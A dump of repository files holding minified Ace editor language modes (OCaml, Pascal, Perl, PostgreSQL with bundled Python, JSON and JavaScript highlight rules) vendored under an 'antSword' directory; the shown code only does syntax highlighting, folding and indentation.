r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/ocaml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/ocaml_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./ocaml_highlight_rules\").OcamlHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=function(){this.HighlightRules=s,this.$outdent=new o};r.inherits(a,i);var f=/(?:[({[=:]|[-=]>|\\b(?:else|try|with))\\s*$/;(function(){this.toggleCommentLines=function(e,t,n,r){var i,s,o=!0,a=/^\\s*\\(\\*(.*)\\*\\)/;for(i=n;i<=r;i++)if(!a.test(t.getLine(i))){o=!1;break}var f=new u(0,0,0,0);for(i=n;i<=r;i++)s=t.getLine(i),f.start.row=i,f.end.row=i,f.end.column=s.length,t.replace(f,o?s.match(a)[1]:\"(*\"+s+\"*)\")},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e).tokens;return(!i.length||i[i.length-1].type!==\"comment\")&&e===\"start\"&&f.test(t)&&(r+=n),r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/ocaml\"}).call(a.prototype),t.Mode=a})"
  },
  {
    "path": "antSword/static/libs/ace/mode-pascal.js",
    "content": "ace.define(\"ace/mode/pascal_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{caseInsensitive:!0,token:\"keyword.control.pascal\",regex:\"\\\\b(?:(absolute|abstract|all|and|and_then|array|as|asm|attribute|begin|bindable|case|class|const|constructor|destructor|div|do|do|else|end|except|export|exports|external|far|file|finalization|finally|for|forward|goto|if|implementation|import|in|inherited|initialization|interface|interrupt|is|label|library|mod|module|name|near|nil|not|object|of|only|operator|or|or_else|otherwise|packed|pow|private|program|property|protected|public|published|qualified|record|repeat|resident|restricted|segment|set|shl|shr|then|to|try|type|unit|until|uses|value|var|view|virtual|while|with|xor))\\\\b\"},{caseInsensitive:!0,token:[\"variable.pascal\",\"text\",\"storage.type.prototype.pascal\",\"entity.name.function.prototype.pascal\"],regex:\"\\\\b(function|procedure)(\\\\s+)(\\\\w+)(\\\\.\\\\w+)?(?=(?:\\\\(.*?\\\\))?;\\\\s*(?:attribute|forward|external))\"},{caseInsensitive:!0,token:[\"variable.pascal\",\"text\",\"storage.type.function.pascal\",\"entity.name.function.pascal\"],regex:\"\\\\b(function|procedure)(\\\\s+)(\\\\w+)(\\\\.\\\\w+)?\"},{token:\"constant.numeric.pascal\",regex:\"\\\\b((0(x|X)[0-9a-fA-F]*)|(([0-9]+\\\\.?[0-9]*)|(\\\\.[0-9]+))((e|E)(\\\\+|-)?[0-9]+)?)(L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b\"},{token:\"punctuation.definition.comment.pascal\",regex:\"--.*$\",push_:[{token:\"comment.line.double-dash.pascal.one\",regex:\"$\",next:\"pop\"},{defaultToken:\"comment.line.double-dash.pascal.one\"}]},{token:\"punctuation.definition.comment.pascal\",regex:\"//.*$\",push_:[{token:\"comment.line.double-slash.pascal.two\",regex:\"$\",next:\"pop\"},{defaultToken:\"comment.line.double-slash.pascal.two\"}]},{token:\"punctuation.definition.comment.pascal\",regex:\"\\\\(\\\\*\",push:[{token:\"punctuation.definition.comment.pascal\",regex:\"\\\\*\\\\)\",next:\"pop\"},{defaultToken:\"comment.block.pascal.one\"}]},{token:\"punctuation.definition.comment.pascal\",regex:\"\\\\{\",push:[{token:\"punctuation.definition.comment.pascal\",regex:\"\\\\}\",next:\"pop\"},{defaultToken:\"comment.block.pascal.two\"}]},{token:\"punctuation.definition.string.begin.pascal\",regex:'\"',push:[{token:\"constant.character.escape.pascal\",regex:\"\\\\\\\\.\"},{token:\"punctuation.definition.string.end.pascal\",regex:'\"',next:\"pop\"},{defaultToken:\"string.quoted.double.pascal\"}]},{token:\"punctuation.definition.string.begin.pascal\",regex:\"'\",push:[{token:\"constant.character.escape.apostrophe.pascal\",regex:\"''\"},{token:\"punctuation.definition.string.end.pascal\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.quoted.single.pascal\"}]},{token:\"keyword.operator\",regex:\"[+\\\\-;,/*%]|:=|=\"}]},this.normalizeRules()};r.inherits(s,i),t.PascalHighlightRules=s}),ace.define(\"ace/mode/folding/coffee\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=this.indentationBlock(e,n);if(r)return r;var i=/\\S/,o=e.getLine(n),u=o.search(i);if(u==-1||o[u]!=\"#\")return;var a=o.length,f=e.getLength(),l=n,c=n;while(++n<f){o=e.getLine(n);var h=o.search(i);if(h==-1)continue;if(o[h]!=\"#\")break;c=n}if(c>l){var p=e.getLine(c).length;return new s(l,a,c,p)}},this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=r.search(/\\S/),s=e.getLine(n+1),o=e.getLine(n-1),u=o.search(/\\S/),a=s.search(/\\S/);if(i==-1)return e.foldWidgets[n-1]=u!=-1&&u<a?\"start\":\"\",\"\";if(u==-1){if(i==a&&r[i]==\"#\"&&s[i]==\"#\")return e.foldWidgets[n-1]=\"\",e.foldWidgets[n+1]=\"\",\"start\"}else if(u==i&&r[i]==\"#\"&&o[i]==\"#\"&&e.getLine(n-2).search(/\\S/)==-1)return e.foldWidgets[n-1]=\"start\",e.foldWidgets[n+1]=\"\",\"\";return u!=-1&&u<i?e.foldWidgets[n-1]=\"start\":e.foldWidgets[n-1]=\"\",i<a?\"start\":\"\"}}.call(o.prototype)}),ace.define(\"ace/mode/pascal\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/pascal_highlight_rules\",\"ace/mode/folding/coffee\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./pascal_highlight_rules\").PascalHighlightRules,o=e(\"./folding/coffee\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=[\"--\",\"//\"],this.blockComment=[{start:\"(*\",end:\"*)\"},{start:\"{\",end:\"}\"}],this.$id=\"ace/mode/pascal\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-perl.js",
    "content": "ace.define(\"ace/mode/perl_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"base|constant|continue|else|elsif|for|foreach|format|goto|if|last|local|my|next|no|package|parent|redo|require|scalar|sub|unless|until|while|use|vars\",t=\"ARGV|ENV|INC|SIG\",n=\"getprotobynumber|getprotobyname|getservbyname|gethostbyaddr|gethostbyname|getservbyport|getnetbyaddr|getnetbyname|getsockname|getpeername|setpriority|getprotoent|setprotoent|getpriority|endprotoent|getservent|setservent|endservent|sethostent|socketpair|getsockopt|gethostent|endhostent|setsockopt|setnetent|quotemeta|localtime|prototype|getnetent|endnetent|rewinddir|wantarray|getpwuid|closedir|getlogin|readlink|endgrent|getgrgid|getgrnam|shmwrite|shutdown|readline|endpwent|setgrent|readpipe|formline|truncate|dbmclose|syswrite|setpwent|getpwnam|getgrent|getpwent|ucfirst|sysread|setpgrp|shmread|sysseek|sysopen|telldir|defined|opendir|connect|lcfirst|getppid|binmode|syscall|sprintf|getpgrp|readdir|seekdir|waitpid|reverse|unshift|symlink|dbmopen|semget|msgrcv|rename|listen|chroot|msgsnd|shmctl|accept|unpack|exists|fileno|shmget|system|unlink|printf|gmtime|msgctl|semctl|values|rindex|substr|splice|length|msgget|select|socket|return|caller|delete|alarm|ioctl|index|undef|lstat|times|srand|chown|fcntl|close|write|umask|rmdir|study|sleep|chomp|untie|print|utime|mkdir|atan2|split|crypt|flock|chmod|BEGIN|bless|chdir|semop|shift|reset|link|stat|chop|grep|fork|dump|join|open|tell|pipe|exit|glob|warn|each|bind|sort|pack|eval|push|keys|getc|kill|seek|sqrt|send|wait|rand|tied|read|time|exec|recv|eof|chr|int|ord|exp|pos|pop|sin|log|abs|oct|hex|tie|cos|vec|END|ref|map|die|uc|lc|do\",r=this.createKeywordMapper({keyword:e,\"constant.language\":t,\"support.function\":n},\"identifier\");this.$rules={start:[{token:\"comment.doc\",regex:\"^=(?:begin|item)\\\\b\",next:\"block_comment\"},{token:\"string.regexp\",regex:\"[/](?:(?:\\\\[(?:\\\\\\\\]|[^\\\\]])+\\\\])|(?:\\\\\\\\/|[^\\\\]/]))*[/]\\\\w*\\\\s*(?=[).,;]|$)\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:'[\"].*\\\\\\\\$',next:\"qqstring\"},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"string\",regex:\"['].*\\\\\\\\$\",next:\"qstring\"},{token:\"constant.numeric\",regex:\"0x[0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:r,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"%#|\\\\$#|\\\\.\\\\.\\\\.|\\\\|\\\\|=|>>=|<<=|<=>|&&=|=>|!~|\\\\^=|&=|\\\\|=|\\\\.=|x=|%=|\\\\/=|\\\\*=|\\\\-=|\\\\+=|=~|\\\\*\\\\*|\\\\-\\\\-|\\\\.\\\\.|\\\\|\\\\||&&|\\\\+\\\\+|\\\\->|!=|==|>=|<=|>>|<<|,|=|\\\\?\\\\:|\\\\^|\\\\||x|%|\\\\/|\\\\*|<|&|\\\\\\\\|~|!|>|\\\\.|\\\\-|\\\\+|\\\\-C|\\\\-b|\\\\-S|\\\\-u|\\\\-t|\\\\-p|\\\\-l|\\\\-d|\\\\-f|\\\\-g|\\\\-s|\\\\-z|\\\\-k|\\\\-e|\\\\-O|\\\\-T|\\\\-B|\\\\-M|\\\\-A|\\\\-X|\\\\-W|\\\\-c|\\\\-R|\\\\-o|\\\\-x|\\\\-w|\\\\-r|\\\\b(?:and|cmp|eq|ge|gt|le|lt|ne|not|or|xor)\"},{token:\"comment\",regex:\"#.*$\"},{token:\"lparen\",regex:\"[[({]\"},{token:\"rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],qqstring:[{token:\"string\",regex:'(?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?\"',next:\"start\"},{token:\"string\",regex:\".+\"}],qstring:[{token:\"string\",regex:\"(?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?'\",next:\"start\"},{token:\"string\",regex:\".+\"}],block_comment:[{token:\"comment.doc\",regex:\"^=cut\\\\b\",next:\"start\"},{defaultToken:\"comment.doc\"}]}};r.inherits(s,i),t.PerlHighlightRules=s}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/perl\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/perl_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./perl_highlight_rules\").PerlHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"./folding/cstyle\").FoldMode,f=function(){this.HighlightRules=s,this.$outdent=new o,this.foldingRules=new a({start:\"^=(begin|item)\\\\b\",end:\"^=(cut)\\\\b\"})};r.inherits(f,i),function(){this.lineCommentStart=\"#\",this.blockComment=[{start:\"=begin\",end:\"=cut\"},{start:\"=item\",end:\"=cut\"}],this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var o=t.match(/^.*[\\{\\(\\[\\:]\\s*$/);o&&(r+=n)}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/perl\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "antSword/static/libs/ace/mode-pgsql.js",
    "content": "ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/perl_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"base|constant|continue|else|elsif|for|foreach|format|goto|if|last|local|my|next|no|package|parent|redo|require|scalar|sub|unless|until|while|use|vars\",t=\"ARGV|ENV|INC|SIG\",n=\"getprotobynumber|getprotobyname|getservbyname|gethostbyaddr|gethostbyname|getservbyport|getnetbyaddr|getnetbyname|getsockname|getpeername|setpriority|getprotoent|setprotoent|getpriority|endprotoent|getservent|setservent|endservent|sethostent|socketpair|getsockopt|gethostent|endhostent|setsockopt|setnetent|quotemeta|localtime|prototype|getnetent|endnetent|rewinddir|wantarray|getpwuid|closedir|getlogin|readlink|endgrent|getgrgid|getgrnam|shmwrite|shutdown|readline|endpwent|setgrent|readpipe|formline|truncate|dbmclose|syswrite|setpwent|getpwnam|getgrent|getpwent|ucfirst|sysread|setpgrp|shmread|sysseek|sysopen|telldir|defined|opendir|connect|lcfirst|getppid|binmode|syscall|sprintf|getpgrp|readdir|seekdir|waitpid|reverse|unshift|symlink|dbmopen|semget|msgrcv|rename|listen|chroot|msgsnd|shmctl|accept|unpack|exists|fileno|shmget|system|unlink|printf|gmtime|msgctl|semctl|values|rindex|substr|splice|length|msgget|select|socket|return|caller|delete|alarm|ioctl|index|undef|lstat|times|srand|chown|fcntl|close|write|umask|rmdir|study|sleep|chomp|untie|print|utime|mkdir|atan2|split|crypt|flock|chmod|BEGIN|bless|chdir|semop|shift|reset|link|stat|chop|grep|fork|dump|join|open|tell|pipe|exit|glob|warn|each|bind|sort|pack|eval|push|keys|getc|kill|seek|sqrt|send|wait|rand|tied|read|time|exec|recv|eof|chr|int|ord|exp|pos|pop|sin|log|abs|oct|hex|tie|cos|vec|END|ref|map|die|uc|lc|do\",r=this.createKeywordMapper({keyword:e,\"constant.language\":t,\"support.function\":n},\"identifier\");this.$rules={start:[{token:\"comment.doc\",regex:\"^=(?:begin|item)\\\\b\",next:\"block_comment\"},{token:\"string.regexp\",regex:\"[/](?:(?:\\\\[(?:\\\\\\\\]|[^\\\\]])+\\\\])|(?:\\\\\\\\/|[^\\\\]/]))*[/]\\\\w*\\\\s*(?=[).,;]|$)\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:'[\"].*\\\\\\\\$',next:\"qqstring\"},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"string\",regex:\"['].*\\\\\\\\$\",next:\"qstring\"},{token:\"constant.numeric\",regex:\"0x[0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:r,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"%#|\\\\$#|\\\\.\\\\.\\\\.|\\\\|\\\\|=|>>=|<<=|<=>|&&=|=>|!~|\\\\^=|&=|\\\\|=|\\\\.=|x=|%=|\\\\/=|\\\\*=|\\\\-=|\\\\+=|=~|\\\\*\\\\*|\\\\-\\\\-|\\\\.\\\\.|\\\\|\\\\||&&|\\\\+\\\\+|\\\\->|!=|==|>=|<=|>>|<<|,|=|\\\\?\\\\:|\\\\^|\\\\||x|%|\\\\/|\\\\*|<|&|\\\\\\\\|~|!|>|\\\\.|\\\\-|\\\\+|\\\\-C|\\\\-b|\\\\-S|\\\\-u|\\\\-t|\\\\-p|\\\\-l|\\\\-d|\\\\-f|\\\\-g|\\\\-s|\\\\-z|\\\\-k|\\\\-e|\\\\-O|\\\\-T|\\\\-B|\\\\-M|\\\\-A|\\\\-X|\\\\-W|\\\\-c|\\\\-R|\\\\-o|\\\\-x|\\\\-w|\\\\-r|\\\\b(?:and|cmp|eq|ge|gt|le|lt|ne|not|or|xor)\"},{token:\"comment\",regex:\"#.*$\"},{token:\"lparen\",regex:\"[[({]\"},{token:\"rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],qqstring:[{token:\"string\",regex:'(?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?\"',next:\"start\"},{token:\"string\",regex:\".+\"}],qstring:[{token:\"string\",regex:\"(?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?'\",next:\"start\"},{token:\"string\",regex:\".+\"}],block_comment:[{token:\"comment.doc\",regex:\"^=cut\\\\b\",next:\"start\"},{defaultToken:\"comment.doc\"}]}};r.inherits(s,i),t.PerlHighlightRules=s}),ace.define(\"ace/mode/python_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"and|as|assert|break|class|continue|def|del|elif|else|except|exec|finally|for|from|global|if|import|in|is|lambda|not|or|pass|print|raise|return|try|while|with|yield\",t=\"True|False|None|NotImplemented|Ellipsis|__debug__\",n=\"abs|divmod|input|open|staticmethod|all|enumerate|int|ord|str|any|eval|isinstance|pow|sum|basestring|execfile|issubclass|print|super|binfile|iter|property|tuple|bool|filter|len|range|type|bytearray|float|list|raw_input|unichr|callable|format|locals|reduce|unicode|chr|frozenset|long|reload|vars|classmethod|getattr|map|repr|xrange|cmp|globals|max|reversed|zip|compile|hasattr|memoryview|round|__import__|complex|hash|min|set|apply|delattr|help|next|setattr|buffer|dict|hex|object|slice|coerce|dir|id|oct|sorted|intern\",r=this.createKeywordMapper({\"invalid.deprecated\":\"debugger\",\"support.function\":n,\"constant.language\":t,keyword:e},\"identifier\"),i=\"(?:r|u|ur|R|U|UR|Ur|uR)?\",s=\"(?:(?:[1-9]\\\\d*)|(?:0))\",o=\"(?:0[oO]?[0-7]+)\",u=\"(?:0[xX][\\\\dA-Fa-f]+)\",a=\"(?:0[bB][01]+)\",f=\"(?:\"+s+\"|\"+o+\"|\"+u+\"|\"+a+\")\",l=\"(?:[eE][+-]?\\\\d+)\",c=\"(?:\\\\.\\\\d+)\",h=\"(?:\\\\d+)\",p=\"(?:(?:\"+h+\"?\"+c+\")|(?:\"+h+\"\\\\.))\",d=\"(?:(?:\"+p+\"|\"+h+\")\"+l+\")\",v=\"(?:\"+d+\"|\"+p+\")\",m=\"\\\\\\\\(x[0-9A-Fa-f]{2}|[0-7]{3}|[\\\\\\\\abfnrtv'\\\"]|U[0-9A-Fa-f]{8}|u[0-9A-Fa-f]{4})\";this.$rules={start:[{token:\"comment\",regex:\"#.*$\"},{token:\"string\",regex:i+'\"{3}',next:\"qqstring3\"},{token:\"string\",regex:i+'\"(?=.)',next:\"qqstring\"},{token:\"string\",regex:i+\"'{3}\",next:\"qstring3\"},{token:\"string\",regex:i+\"'(?=.)\",next:\"qstring\"},{token:\"constant.numeric\",regex:\"(?:\"+v+\"|\\\\d+)[jJ]\\\\b\"},{token:\"constant.numeric\",regex:v},{token:\"constant.numeric\",regex:f+\"[lL]\\\\b\"},{token:\"constant.numeric\",regex:f+\"\\\\b\"},{token:r,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"\\\\+|\\\\-|\\\\*|\\\\*\\\\*|\\\\/|\\\\/\\\\/|%|<<|>>|&|\\\\||\\\\^|~|<|>|<=|=>|==|!=|<>|=\"},{token:\"paren.lparen\",regex:\"[\\\\[\\\\(\\\\{]\"},{token:\"paren.rparen\",regex:\"[\\\\]\\\\)\\\\}]\"},{token:\"text\",regex:\"\\\\s+\"}],qqstring3:[{token:\"constant.language.escape\",regex:m},{token:\"string\",regex:'\"{3}',next:\"start\"},{defaultToken:\"string\"}],qstring3:[{token:\"constant.language.escape\",regex:m},{token:\"string\",regex:\"'{3}\",next:\"start\"},{defaultToken:\"string\"}],qqstring:[{token:\"constant.language.escape\",regex:m},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"start\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:m},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"start\"},{defaultToken:\"string\"}]}};r.inherits(s,i),t.PythonHighlightRules=s}),ace.define(\"ace/mode/json_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"variable\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]\\\\s*(?=:)'},{token:\"string\",regex:'\"',next:\"string\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:\"constant.language.boolean\",regex:\"(?:true|false)\\\\b\"},{token:\"invalid.illegal\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"invalid.illegal\",regex:\"\\\\/\\\\/.*$\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],string:[{token:\"constant.language.escape\",regex:/\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[\"\\\\\\/bfnrt])/},{token:\"string\",regex:'[^\"\\\\\\\\]+'},{token:\"string\",regex:'\"',next:\"start\"},{token:\"string\",regex:\"\",next:\"start\"}]}};r.inherits(s,i),t.JsonHighlightRules=s}),ace.define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",s=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.oper